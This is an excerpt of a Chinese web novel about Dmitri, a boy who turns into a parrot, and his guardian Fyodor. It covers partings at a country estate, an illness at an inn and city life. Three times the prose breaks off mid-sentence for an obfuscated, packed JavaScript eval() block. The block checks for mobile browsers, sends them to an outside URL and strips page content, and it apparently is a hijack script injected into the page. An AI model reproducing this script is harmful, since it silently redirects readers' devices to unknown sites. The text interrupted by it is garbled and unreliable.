今天费奥多尔有事,没空搭理他,玛利亚太太又出去见自己年轻时的好友了,最常闲着的聂赫留朵夫也被外祖父关在房间里自学兵法,德米特里去用喙去敲对方的窗户,对方就隔着玻璃用口型和手势说,他房间的门和窗户都上锁了。 所以德米特里就无所事事了,趴在天花板吊灯的凹槽里面,眯着眼,就这么打了个盹儿。 等沃尔康斯基公爵散步回来时,就看到了桌子上完好无损的猕猴桃,眼中闪过一丝深思。 德米特里小睡了一会就醒了,站在吊灯上面伸展了一下翅膀,就当活动筋骨了,客厅里静悄悄的,他以为没人,就直接拍拍翅膀飞了下来,像人一样,悠哉悠哉地踩在地毯上,眯着眼睛,看起来很是惬意。 没成想走了几步就看到了一双大尺码的鞋子,被这么一吓,德米特里立刻就清醒了,警惕地往后退一步,一抬头,就对上了一双鹰隼般的锐利眼睛。 咕咚。德米特里听到了自己心跳的声音,就像一只和狮子对视的小仓鼠,根本不敢动,生怕对方下一秒就一爪子拍过来。 四下无人,厨娘正在厨房里忙活,准备今晚的饭菜,佣人们也打扫好了卫生,自觉不会在客厅这样的场所出现,所以现在整个客厅里就只有德米特里和沃尔康斯基公爵。 沃尔康斯基公爵面无表情,缓慢地往前移动,突然蹲了下来,德米特里差点跳起来,看着那只逐渐靠近的大手,他都想好了遗言,谁知下一刻,落在他头上的不是巴掌,而是轻柔的抚摸,那是一只宽阔的手,因为常年握枪,指腹有厚茧,右手手心有一道横亘掌心的浅色疤痕,看上去是陈年旧伤了。 德米特里一时之间都愣住了,原本炸开的羽毛缓缓恢复原状,听到对方说,“尝尝么?”说着,对方像是怕惊动他似的,极轻、极缓地将之前剥好的猕猴桃放到德米特里眼前,然后就不作声了,目不转睛地看着德米特里,好像在等待德米特里的反应。 “……”德米特里吓了一跳,来不及扭捏,食物就送到了眼前,他未经思考,就啄了上去,等嘴里弥漫出酸甜的味道,才后知后觉地感到不好意思,他好像把对方想得太坏了。 都怪聂赫留朵夫,要不是对方一直跟他说坏话,他也不会先入为主,觉得这样大块头的家伙是坏人。这么想着,德米特里就心安理得了,把一整个猕猴桃都吃掉了。 “谢谢,”德米特里不知道该怎么和对方交流,就用最简单的话表达了感谢,“猕猴桃很好吃。” 对方的神态还是一样的严肃,用指腹摸了下鹦鹉头顶的羽毛,对一只不知事的鸟儿流露出了少见的温和。 “嗯。”对方说道,“你叫什么名字?” “我叫德米特里。” 对方点了点头,“好名字。” 早先听说玛利亚的朋友养了一只聪明的鹦鹉,今日一见,果然聪明。 . 20.chapter20 转眼间,就到了出征的日子。 沃尔康斯基公爵今天六十多岁,是个名副其实的老将军了。他十几岁的时候就随父从军,征战数十年,年过半百时才遭遇了第一次职业生涯的滑铁卢,没几年又因为新兴的战事而重新回到了最熟悉的地方——军队。 几名近卫军众星拱月般簇拥着他,里面最年迈的也不过四十余岁,但没有谁比沃尔康斯基公爵更高大,他就像一堵厚实的、可靠的墙,站在那里,便让人忍不住看过去。聂赫留朵夫对外祖父“如棕熊般”的形容再贴切不过,即使是再平均身高较高的斯拉夫人当中,也少有这样年老仍如年轻时一样高大的人。 沃尔康斯基公爵的妻子、聂赫留朵夫的外祖母住着拐杖过来,给丈夫一个颤颤巍巍的拥抱,再送上一束象征着对勇士的祝福的花。就算是在这样告别的场合,两个人仍然是板着脸的,期间交流约等于0。 沃尔康斯基公爵听到妻子在他耳边说,“尼·谢,要凯旋!”女儿带着外孙站在旁边,虽然女儿的脸上带着他不喜欢的笑,他却没有拒绝对方踮着脚为自己戴上的花环。 他轻轻地回抱了一下妻子,又对女儿和外孙点了点头,对着头也不回地离开了。 同一天,俄罗斯全境的电视台都停止播放娱乐剧,换成了正在举行欢送英雄仪式的首都新闻频道。画面中,东正教的牧师正在进行“洒净”仪式,祈求上帝的保佑和祝福,希望这次西征欧洲能得到好的结果。 牧师进行仪式后,镜头又给到了出征的将士们,首当其冲的就是沃尔康斯基公爵,对方头上还戴着玛利亚太太的花环,在记者询问是否有信心时,表情一点变化都没有,言简意赅地说道,“我们会凯旋。”身后的士兵们听到长官如此有气势的发言,纷纷喊叫起来,一时间现场士气昂扬,气氛很是热烈。 聂赫留朵夫对着电视在胸口画了个十字,其余所有人都这么做了,费奥多尔也一样。了解费奥多尔的人或许会觉得他这样的人信仰上帝会是一件奇怪的事,但费奥多尔其实是非常虔诚的教徒,从很早很早的时候,上帝和神明的概念刚刚流传进寒冷的西伯利亚时,他就开始信奉上帝。 德米特里在一旁瞧着,照样画葫芦地在胸口画了个十字,玛利亚太太就笑眯眯地夸他,“德米特里是上帝的好孩子。” 德米特里不知道上帝是谁,因为费奥多尔和神祷告时,并不会将祷告说出口,也从未提及上帝。于是德米特里想了想,就说,“我不认识上帝,所以我不是上帝的孩子,我是爸爸的孩子。” 说着,德米特里还扯了下费奥多尔的袖子,指望着从后者嘴里得到什么回应。 费奥多尔这时也不想纠正德米特里的话了,反正德米特里也不会听,只好无奈地叹气。 玛利亚太太听了,没有上纲上线,反而笑了,觉得这样孩子气的发言很是可爱。她摸了摸德米特里的脑袋,手没忍住在对方柔软的卷发上多停留了一会,说道,“我们都是上帝的孩子,上帝会保佑我们的。” . 沃尔康斯基公爵离开后,庄园里还是在正常运行。 没有了外祖父的管束,聂赫留朵夫终于不必整日整日地在房间里学习,远离那一方枯燥乏味的空间,来到了户外更宽广的天地里。 德米特里变作鹦鹉在天上飞的时候,就碰到过徒步走在外面的聂赫留朵夫。那天阳光有些刺眼,不过依旧算不上炎热,在俄罗斯,人们用温暖形容这样的天气。 当时聂赫留朵夫坐在树荫下,望着不远处的麦田,此时还没到收割小麦的时候,小麦还是青翠的,在风中摇晃着,自成一片风景。 德米特里悄悄落在对方头顶的树枝上,决定给对方一个惊喜。他调整了一下位置,突然落到了对方的肩膀上,对方却并不惊讶,往后靠了靠,刚好倚在粗糙的树皮上,嘴角勾了勾,说道,“我就知道是你。” 德米特里好奇地问道,“你什么时候知道我来了?” “我听到声音了,翅膀拍打空气的声响,很明显。”对方回答道,“可能你自己听多了这样的声音,就下意识地忽略了,但我倒是很少听到——这附近没有一只鸟是不怕人的,它们都太警惕了,所以你一来,我就知道了。” “你在看什么?”德米特里理了理羽毛,看了看周围,只觉得没什么好看的。 “农民。”聂赫留朵夫指着不远处躬身的人,“我最近才发现,世上还有他们这样的人,整天劳作,都是为了旁人。” 德米特里歪了歪头,他遇到过一个会吹口哨的农民少年,所以对农民挺有好感,不过就算是这样,他也没兴趣盯着他们看。不是因为别的,只是因为他们的生活千篇一律,太无聊了。 或许是因为没有人能听他倾诉,又或许是因为此时此地此景,都刚刚好,聂赫留朵夫开始说一些平时不会说的话。 “农民是很可怜的人,生来就是这样凄惨的命运,要一生一世为别人劳动,自己却无法获得与之相配的报酬,我前些日子去翻了现行的法典,里头关于农民的法令太严苛了——我是说,太让人难以置信了。你知道吗?法典甚至都不会将他们称作农民,而是农奴!”聂赫留朵夫加重了语气,满脸的困惑,“为什么有人生来就低人一等呢?这真的是我百思不得其解的问题,我跟一个农民聊过天,他和我其实也没什么不同。” “我希望他们变好,而不是像现在这样,苦痛、贫穷、被歧视,没有身为人的权利……我同情他们。如果世界上有一种办法,可以改变他们的命运,我一定会试试的。”聂赫留朵夫喃喃自语道。 这些东西对德米特里来说还太早了,他没听懂,就说,“我知道,农民是很好的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247994|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。我认识一个叫瓦列莉亚的美丽小姐,她曾经陪我聊过天,有礼貌,又很勤劳。” . 时间飞速流逝。 在冬小麦成熟的季节,德米特里终于又要搬家了。此时战争已经持续了很久,沃尔康斯基公爵出征也已经是半年前的事了。德米特里和费奥多尔在这座庄园里住了差不多半年,费奥多尔自觉叨扰,又刚好有事,就带着德米特里和玛利亚太太他们辞别了。 玛利亚太太很舍不得德米特里,若非费奥多尔还在旁边,她都要抱着德米特里抹眼泪了。临走前,她还送给费奥多尔一个沃尔康斯基家族的信物,告诉对方,如果有事,可以出示这个信物,也可以来这里找他们帮忙。 聂赫留朵夫对突如其来的离别难以接受。他听说这个消息的时候,还在誊写自己的长篇小说,他已经写完了初稿,但是字迹太潦草,于是便决定重新誊写一遍,再把稿子寄到出版社去。小说刚开了个头时,他还笑着跟德米特里说,出版后要送德米特里一本,现在看来,只能退而求其次了。 聂赫留朵夫是个很重感情的人,经过这么久的相处,他早已将德米特里当做了自己的挚友。快要出发时,聂赫留朵夫用力地拥抱了一下德米特里,将自己处女作的初稿当做礼物送给了德米特里,然后说,“我会一直记得你的。” 德米特里也很舍不得对方,看见对方悲伤的眼神,自己也后知后觉地感到了伤感。与对方的初识并不算愉快,后面的相处却成了珍贵的回忆,回想起之前的点点滴滴,德米特里越想越难过,又因为自尊,不想直接哭出来,就把头埋进对方怀里,把眼泪抹在对方衣服上,半晌才抬起头来,故作坚强地对费奥多尔说道,“爸爸,我们走吧。” 他抽了抽鼻子,“我和他告完别了。” 玛利亚太太最后和费奥多尔抱了一下,就目送费奥多尔他们上了车,等车走了很远,德米特里才缓过来,打开聂赫留朵夫送给自己的礼物,看着里面潦草到了极致,几乎每个单词都连在一起,看不出写了什么的文字,他终于忍不住笑了。 德米特里一边擦眼泪,一边嘀咕道,“他的字也太难看了,我根本看不懂他写了什么。” 德米特里把稿子递给费奥多尔,让后者帮他看一下,可费奥多尔也看得费劲,只看清了开头的标题,署名,还有最后给德米特里的祝语。 《战争与和平》,列夫·尼古拉耶维奇·托尔斯泰(曾用名:列夫·尼古拉耶维奇·聂赫留朵夫),作于19xx年3月。 【谨以此作,献与年少的挚友,德米特里。】 【祝您,事事顺利,岁岁平安。上帝会保佑您。】 最后一页还夹了一朵干掉的勿忘我。 “我都快忘了他改姓了。”德米特里说道,“我一直叫他原本的名字,他也从不反驳。” 21.chapter21 离开待了半年的庄园后,德米特里还有些不习惯。或许是运气不好,天空突然下起雨来,此时他们才刚下车,离躲雨的地方也还有些距离。 好在费奥多尔早有先见之明,在骤然变大的雨滴还没来得及打湿他的外套时,他已经撑起了一把黑伞,德米特里拽着他的衣角,贴着他,亦步亦趋地跟着一起走,但费奥多尔比德米特里高太多了,就算他尽量把伞打低一点,德米特里难免淋到了一点雨。 这附近没什么人烟。德米特里一只手扯着费奥多尔,一只手放在自己头顶,可他的手太小,没办法挡住所有飘斜的雨丝。忽然,他灵机一动,把目光放在了费奥多尔的外套后摆上,将布料掀起来盖在头顶。 “……”费奥多尔说道,“你干什么呢?” “躲雨。”德米特里躲在对方衣服后摆的下面,“我头发都要湿啦……阿……阿嚏!” 德米特里突兀地打了个喷嚏,眼见雨势渐大,费奥多尔索性换了只手拿伞,说道,“变回去。” 说着,他半蹲下身,另一只手拖住德米特里的腰,让对方坐在他的手臂上,这样一来,德米特里变成鸟的时候,身上的衣服也不会因为无受力点而掉在泥泞的地面上——行李箱容量有限,他拢共没带多少换洗衣物,也只能稍微注意一些了。 德米特里借着力搂住对方的脖子,然后就变成了鹦鹉,钻进了对方的外套口袋里。得亏费奥多尔今天穿了件大口袋的衣服,不然德米特里还得露个脑袋在外面——比起之前雏鸟的体型,德米特里真的长大了很多,无愧于大型鹦鹉的称号。 费奥多尔这才得了空,一只手打着伞,一只手拖着行李箱,慢慢地往前走,耳边雨声淅淅沥沥,终于,不知过了多久,眼前终于出现了城门的影子。 向守卫出示证件后,费奥多尔成功带着德米特里进入了城门,找了家有空房的旅馆,就这么入住了。 城市比起庄园,最大的不同就是,到处都是瓦砖、石头和水泥铺就的现代路面,而不是图拉州那样随处可见的田野。 德米特里趴在窗户边看雨,等雨停了,立刻迫不及待地去找费奥多尔,提醒对方,“我们是不是该吃饭了?” 两人一起出去觅食,旅馆里虽然提供酒水饮料,却没有适合小孩子吃的食物,还是得出去找家餐馆。 费奥多尔在附近转了一圈,只发现了一家未关门的餐馆。其实有不少门面都挂着餐馆的牌子,只是都关店歇业了。 唯一一家未关门的是一家连锁高档餐馆,费奥多尔望着牌子上的餐馆名看了一会,只觉有些眼熟,或许是之前在欧洲其他国家的街上看到过。 不出意外,人很多。 费奥多尔还没推门进去,就看见了排成长龙的队伍,如果正常排队,可能需要很长时间。店员歉意地鞠躬,表示今日特殊,实在是人手不足,还为等待的客人们提供了一处坐下的地方。 德米特里等了没几分钟,就饿了。但他不是那种无理取闹的小孩,要排队嘛,这个他明白,不过等待的时间实在是有些煎熬。他们拿到的号码牌在最后,眼睁睁看着前面的人一个接一个地进去用餐,德米特里就差没流口水了。 费奥多尔见对方一副很饿,还硬是忍耐的样子,不禁反思了一下,他平时对德米特里难道很严苛吗?他拿出手机,简单按了几个键,很快就有店员过来看了一圈,带他们进去就餐了。 德米特里好奇地问道,“为什么我们不用排队?” 这里是包间,除了他们没有别人。费奥多尔瞥了他一眼,也没瞒着,直接说道,“因为我黑进了他们的系统,让店员以为我们提前预订了位置。想吃什么?” 德米特里似懂非懂地“哦”了一声,注意力很快就被琳琅满目的菜单吸引了,挑挑拣拣点了几个名字有趣的菜,比如仰望星空派之类的。 费奥多尔看了眼菜单,“……”他要不要告诉德米特里,这东西很难吃? 瞧德米特里这期待的样子,显然没有听说过仰望星空派的赫赫威名。 算了。费奥多尔最终还是保持了沉默,让德米特里自己试试也不错——谁能说这不是一次有趣的体验呢? 果不其然,德米特里对仰望星空派的态度变化很快,从期待到奇怪,再到讨厌。 刚听到这个菜名,德米特里还很期待,等服务员端上一盘插着几个沙丁鱼头的派时,他头顶缓缓冒出了一个问号。本着食物要亲自品尝才能评价的想法,德米特里用叉子插了一块,一放到嘴里,只嚼了几下,就忍不住干呕了起来。 “好……呕……”德米特里呕了两声,“好难吃……呕……” 费奥多尔想起了自己第一次吃仰望星空派,那时他还不知道世上竟有如此难入口的食物,一吃进去,就是满口的鱼腥味,叫人难以忍受。如果不是沙丁鱼爱好者,对这道菜一定会望而却步。 费奥多尔第一次觉得嘴角这么难压,好在还是压住了。德米特里看向他的时候,他已经整理好了表情,“喝杯水漱漱口吧。” 德米特里一边漱口,一边含混不清地说道,“我从来……没吃过……这么难吃……的东西……” “所以下次不要再点了。”费奥多尔一本正经地说着,顺便告诉了对方一个点菜的小窍诀,“看到仰望星空派那里的介绍,英国名菜了吗?根据经验,英国菜通常不会太好吃。” “听说中国菜很好吃,有机会可以去中餐厅。”费奥多尔说道。 “去哪里都好。”德米特里怨念深重,把仰望星空派推远了些,嘟囔道,“只要不是这个——仰望星空派就好了。” “真是太过分了!明明这么难吃,”德米特里做了个呕吐的动作,“为什么要取这么好听的名字?” . 回到旅馆之后,费奥多尔休息了一下,到晚餐的时间,他本想去喊德米特里出去吃饭,结果却突发意外,德米特里自己跑去旅馆一楼玩了。 费奥多尔下来找德米特里时,就发现桌上趴着一个小小的身影,他过去叫对方的名字,对方也不应,这时他才意识到不对劲。一摸对方的额头,就感受到了异常的温度,德米特里发烧了。 之前在路上时,德米特里就淋了点雨,没想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16255906|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到这么快就发作了。 因为突如其来的高烧,德米特里脸蛋红扑扑的,闭着眼睛,任由别人怎么呼唤,也没有反应,大概是烧晕了。 附近的医生没那么快来,费奥多尔只好把德米特里抱到床上,然后把湿毛巾敷在对方的额头上,好歹起到了一点降温的作用。德米特里体温降低了一点,意识还是不太清醒,虽然能够听到外面的声音了,费奥多尔和他说话时,他也只会死死攥着费奥多尔的衣角,发出一些模糊的无意义音节。 “能听到吗,德米特里?”德米特里昏昏沉沉时,隐约听到耳边有一道熟悉的声音,“跟着我念,【德米特里恢复了健康】。” 德米特里晕乎乎的,想说话,喉咙却像塞了棉花似的,无论如何也没法吐出一个清晰的单词。 不知过了多久,德米特里从昏迷中睁开眼,就看到了陌生的天花板。他艰难地转过头,才想起来,这里是他们刚搬进的旅馆。 暖黄色的灯光照在窗户玻璃上,外面已经天黑了。德米特里只记得下午的时候自己在旅馆一楼玩,然后突然感觉有点累,就趴在桌子上睡觉,再后来的事情就不知道了。 现在德米特里只觉得脑子好像都变成了浆糊,稍微摇一下头,就有种头疼欲裂的感觉,更糟糕的是,他连鼻子都堵了,只能用嘴巴呼吸。 自有记忆以来,德米特里已经很久没有生过病了,这种久违的难受感觉让他鼻子酸酸的,有种想哭的冲动——事实上他也确实这么做了。 于是,费奥多尔刚推门进来,就听到了呜呜咽咽的声音,走到床前,怀里就立刻窜进了一个小炮弹,对方刚退烧,身上还很热乎,就像个小火炉一样温暖,此时正哭得一把鼻涕一把泪,泪眼汪汪地看着他,“爸、爸爸,我、我好难受……德米特里好难受!” “没事,会好起来的。”费奥多尔安抚地摸了一下德米特里的头,等对方渐渐平息下来的时候,才道,“现在还不舒服吗?” 德米特里用力地吸了一下鼻子,特别委屈地说道,“难受,很难呼吸,感觉要被憋死了。” 费奥多尔叹了口气,小孩子还真是脆弱啊。或许是因为德米特里这半年来都没有怎么生病,所以他也懈怠了,路上突然下雨,他竟也没有第一时间就让德米特里变成鹦鹉,到他的口袋里躲雨。 好在德米特里没事,不然这一点小纰漏就真的酿成大错了。 “跟着我念,【德米特里恢复了健康】。”费奥多尔说道。 德米特里马上反应过来了,跟着重复了一遍。话音刚落,他就感觉有一股暖流经过全身,生病带来的疲倦被一扫而空,仿佛焕发新生一般,头也不疼了,鼻子也不堵了。 “我好了!”德米特里站在床上转了几圈,高兴地说道,“爸爸,你好厉害!这也是口令吗?” 就让如今年幼的德米特里以为这是个口令,也没什么不好。等德米特里长大了,自然会明白,这不是口令,而是他与生俱来的天赋。 这么想着,费奥多尔就没有否认,“不舒服的时候,就念出这句话。然后你会变得健康。” 22.chapter22 最温暖的夏天已经过去,现在是充满凉意的早秋。或许鹦鹉也察觉到了季节的变化,便渐渐开始换羽了。 德米特里两三个月的时候,经历了鸟生的第一次换羽,褪去了从鸟蛋里带出来的绒毛,长出了很多羽管,没多久又长齐了飞羽。 现在因为天气逐渐转凉,德米特里之前的羽毛都开始脱落,费奥多尔每天起床都会在自己的头发里发现几片灰色的羽毛,如果德米特里刚好飞过来给他一个贴面礼,他大概率会被对方身上的羽粉弄得忍不住打喷嚏。 德米特里是在冬天出生的,今年秋季是德米特里生命中的第一个秋天,虽然德米特里对四季暂时还没有太清晰的概念,却已经对他记忆最深刻的冬季和秋季有了印象。 在德米特里刚破壳的去年冬天,他还没法出去亲自用喙碰一下外面的雪,却已经看过无数次窗外的雪景,有时候雪下大了,大片大片的雪花还会斜斜地飘过来,在窗户外面的窄平台上堆积起来,几乎糊满了玻璃,这时候,他的眼前就只有皑皑的白雪了。 春天和夏天好像都差不多,都是没有雪的季节。而秋天却不一样,秋天也没有雪,却有更多值得去看的东西。德米特里曾和聂赫留朵夫……不,托尔斯泰一起看过的那片绿色麦田,在秋天都变成了灿烂的金黄色,坐车离开那座庄园时,德米特里还从透过车窗看到了摇曳的麦秆,那麦子层层叠叠的,风吹过来时,就像是涌动的黄金浪花。 城市和乡村的秋日也不一样。比起田野间随处可见的麦子,城市里更多的是让人眼前一亮的枫树,在这个苍白的、缺乏热烈色彩的国家,很少有人不喜欢火红的枫叶。就像冬天的鹅毛大雪,红枫也成了标志性的秋景。 德米特里很快适应了在新城市的生活。虽然不知道费奥多尔为什么要离开那座熟悉的庄园,又没有回到充满回忆的阿尔泰边疆区,但既然对方这么决定了,他就跟对方一起走。 他们在新地方生活了一段时间,短时间内没有离开的打算。德米特里还是第一次来到这样由石头、砖块和水泥构成的城市。 早先在图拉州,德米特里就见识过俄式风格的洋葱顶教堂,还有屋顶倾斜角度较大的房子,他从书本中看到了其他国家的平顶房屋,还好奇地问过费奥多尔,“为什么俄罗斯的房子总是尖尖的?是为了防止小偷从房顶的烟囱爬进去么?” 面对这样童趣的问题,费奥多尔的回答却很实际。 “因为冬天会下大雪,如果屋顶是平的,雪堆积在屋顶,会把顶压塌的。” ”噢。”德米特里没话找话地说道,“所以,冬天的时候,雪会从尖尖的屋顶上滑下来。如果刚好站在屋檐下,会被雪砸到么?” 完全是明知故问啊。 “……” 尽管如此,费奥多尔还是回答了,“当然会。如果你刚好站在屋檐下,又刚好有一堆雪要迫不及待地亲吻大地——那你整个人都会被雪埋起来的。” “嘿嘿,那我就变成雪人了。”德米特里一点都不觉得危险,反而兴致勃勃地开启了另一个话题,“爸爸,你堆过雪人吗?” “……” . 生活在城市里的人们通常是富裕的,他们不一定是法律上的贵族,但至少不可能是农奴。所以比起德米特里以前见过的小教堂,给富人们祷告的教堂面积大得多,隔得很远就可以瞧见那标志性的洋葱型穹顶,那教堂实在是建的很高,五彩斑斓的穹顶几乎要没入云霄。 因为费奥多尔有自己的事要做,德米特里就只能自己打发时间。 某天,那个曾出现在德米特里的视野里、又很快消失的人再次归来了。德米特里在旅馆一楼玩耍时,一眼就认出了那个蓝头发的男人,他本想主动和对方打招呼,又想起了对方可能不知道他是那只曾和他问好的灰鹦鹉,纠结了一下,德米特里就跑上楼,通知费奥多尔,“爸爸,你的朋友来了。” 他的朋友? 费奥多尔听到这个形容,还愣了一下。在脑海中搜索了一下,愣是没找到一个符合朋友条件的人,等德米特里说出了对方的名字,他才意识到是谁来了。 “伊万,是伊万叔叔!”德米特里说道。他还挺喜欢伊万的,当初伊万在他们家里待了几个小时,就匆匆离去了,不过德米特里还记得对方的脸,对方曾送给德米特里一朵石头花,很特别,德米特里有一段时间一直把那朵石头花放到窝里,垫着睡觉。 在德米特里的观念里,好像走得近就算是朋友了。 这么一想,德米特里会以为他和伊万是友人关系,倒是很正常。 “他在楼下吗?”费奥多尔问道。 “是的!”德米特里喋喋不休地说道,“我本来想和他搭话,但是突然想起来,他应该不知道我是谁——他或许记得一只叫做德米特里的鹦鹉,但是他肯定想不到德米特里还能变成人。” “我和他要谈话,”费奥多尔摸了下德米特里的头,给了对方20卢布,就将对方支开了,“你先自己出去玩一会。” 见德米特里兴高采烈地往外跑,费奥多尔还拔高了声调,又加了一句道,“别跑太远!” 德米特里跑太快了,很可能没听到他的话。费奥多尔只好给旅馆老板打了个电话,刚好他和老板也有些交情,“麻烦帮我看着些我家的孩子。” 老板答应了。 德米特里头一回得到这种数目的钱,对于一个小孩来说,这可是一笔巨款! 作为一只有计划的鸟,他决定要好好规划一下这笔钱。 “首先,我要给城门口的乞丐几个卢布,他们太可怜了……然后,我要去买个新发带,之前扎头发的发带用久了,弹性很不好……”刚进城门时,路边有几个衣衫褴褛的人在乞讨,德米特里当时待在饲养人的口袋里,也听到了他们卑微的乞求声。 德米特里嘀嘀咕咕,一旁悄悄注意着他的旅馆老板见状,就觉得很有意思。就算是在美人云集的俄罗斯,像德米特里这样漂亮的孩子还是很少见,在听到德米特里的声音之前,老板还以为德米特里是个女孩子。 老板看了一会儿,德米特里就突然抬起头来,刚好和他对上了视线。 老板是个直爽的大胡子男人,与德米特里见过的沃尔康 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16264437|181131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯基公爵一样高大,气质却迥然不同。 德米特里当即就跑过去,费劲巴拉地爬上柜台边上的高椅子,问道,“你……您看我干嘛?”忽然想起来面前的人比他大,德米特里还特意改了口。 老板偷窥被逮了个正着,不由有点尴尬,面上却没有表现出来。他干咳了一声,胡诌道,“其实我只是在看风景,你挡住我的风景了。” 德米特里有点不好意思,“哦……那对不起哦。” 老板看着对方纯净的婴儿蓝瞳孔,感觉良心受到了谴责,不由得心道,上帝啊,原谅我! “要喝点麦芽酒吗?”许是因为歉疚,老板主动问道。 德米特里有些迟疑,他还记得自己有多容易醉酒,却听老板说,“麦芽酒度数低,比较甜,小孩子可能会喜欢。” 德米特里一听是甜的,踌躇一会儿,还是答应了。他接过一小杯麦芽酒,小口小口地喝着,慢慢都喝完了,也没有什么醉意。 “谢谢您!”德米特里跳下椅子,重心不稳地踉跄了一下,还不忘回头感谢了一下好心的老板。 老板擦杯子的手顿了顿,“……”他现在一点都不奇怪费佳这个常年孤寡的家伙为什么会愿意养德米这个孩子了。 真是个好孩子啊!老板感叹道,跟费佳一点都不像。 . 和伊万谈完话,费奥多尔就看到门边探头探脑的德米特里。德米特里扒在门上,见费奥多尔投来视线,连忙招手道,“爸爸,我有事要和你说!” 伊万的目光在德米特里身上多停留了几秒,可能是在想,首领什么时候养了个孩子,又或许是被德米特里特异的发色勾起了回忆,想到了那只格外聪明的灰鹦鹉。 见伊万走了,德米特里跑过来,仿佛要讲什么悄悄话一样,让费奥多尔侧耳倾听。 “……那个旅馆老板肯定不是好人!”德米特里说着,表情由凝重转为了得意,“他刚刚还想忽悠我,结果被我反过来耍了一通。” 费奥多尔早就从老板那里得知了粗糙的经过,他不清楚对方和德米特里具体说了什么,只知道对方请德米特里喝了一杯麦芽酒,因为这件事,他还警告了对方,让对方不要给德米特里喝酒。 对方是个嗜酒如命的家伙,也是个滑不溜手的老油子,他警告对方,对方还在电话里嚷嚷,非说什么“没有麦芽酒的童年是不完整的!”“费佳,你不能因为自己不喝酒,就剥夺孩子喝酒的权利!” 一堆没用的废话,夹杂着莫名其妙的称呼,费奥多尔不耐烦听,就直接把电话挂了。 “明知道对方不是好人,为什么要喝对方给的酒呢?”费奥多尔问道。 “……你……怎么知道?”德米特里支支吾吾半晌,臊红了脸。 “你猜?” 德米特里这下子更肯定费奥多尔是个巫师的想法了,如果对方不是,又是怎么知道他忍不住喝了麦芽酒的? “都怪麦芽酒闻起来太香了。”德米特里嘀咕道。 “嗯?” “没什么。”德米特里假装什么也没说。 . 23.chapter23 德米特里一开始想用费奥多尔给的卢布买一根发带,但事实是,他一分钱都没花,就得到了一根好看的发带。 德米特里找到附近的商店,又在货架上发现了一根符合要求的发带,就去付款了。他在柜台前使劲踮起脚来,试图将纸币递给年迈的老板娘时,老太太还扶着眼镜,正在对账,完全没注意到柜台前有个小萝卜头。 “太太,太太!”德米特里喊道,“我要付钱。” 老太太这才看到一个蓬松的灰色发顶,绕过柜台走到对方前面,问道,“小朋友,你要买什么?” 德米特里举起一根红色的发带,“这个!” 老太太说道,“哦,这个啊!其实是赠品,如果有人在我这儿总计消费10个卢布,我就会将这个免费送给他。” 德米特里“啊”了一声,有点不知所措,“可是我好像没有10卢布的东西要买。”而且10卢布和一根发带的价值显然是不对等的。 正当他在发带和卢布之间犹豫时,老太太却笑了,弯下腰,捏了捏他的脸,“但那是对别人的标准,亲爱的,你和别人可不一样。” 对方不同于寻常俄国老太太的措辞让德米特里愣了愣,随即问道,“我与别人又有什么不同?” 老太太又捏了几下,“你是我见过最可爱的男孩——在我们家乡,所有人都会忍不住管你叫Baby的。” 因为以前看过的动画片,德米特里听得懂简单的英文,闻言已经猜出了对方的家乡,还是确认般地问道,“我可以知道您是哪里人吗?” “不列颠。也可以说是英格兰。”老太太笑眯眯地回答道。她走到货架,又取了几根颜色鲜艳的发带给德米特里,“我觉得这些都很适合你,都一起带走吧。” 至少在商店这样交易的场合,德米特里还是第一次碰见这种白送的好事,不得不说,突如其来的好事总是让人心情愉快。 德米特里跟老太太道谢后,就攥着完完整整的20卢布和几根漂亮发带离开了。 除此之外,德米特里和费奥多尔一同出门就餐,刚好路过一家乐器店时,还拉着费奥多尔一起进去挑了把儿童款大提琴,店主还让店员帮忙把琴送到了二人住的旅馆。 “我还以为你早就不记得这个了。”孩童大多是三分钟热度,德米特里对大提琴这种乐器的兴趣只持续了很短的时间——当然,没有合适尺寸的大提琴用来练习,也是一个原因。 费奥多尔看着大提琴,“还记得怎么拉么?” “不记得!”德米特里笑了声,抱住对方的腿,防止对方离开,“所以才要爸爸你教我呀。” 于是,德米特里就顺理成章地占据了费奥多尔的大多数空闲时间,在平时,费奥多尔更愿意将闲暇花在听古典音乐上,或者看看当地的报纸,现在却不得不陪德米特里练琴,因为要注意纠正,他还必须时时刻刻集中注意力。 费奥多尔真心实意地心想,没有什么比这更麻烦的事了。 好在这样的牺牲是有用的,德米特里最初拉大提琴就像锯木头一样,十分刺耳,等他花了半天时间,终于驯服了那把不听话的琴弓,才可以拉完一首曲子——没有错漏地,完完整整地。 “不错,”费奥多尔像是完成任务的家长一样,如释重负,“你现在可以出去玩了。” . 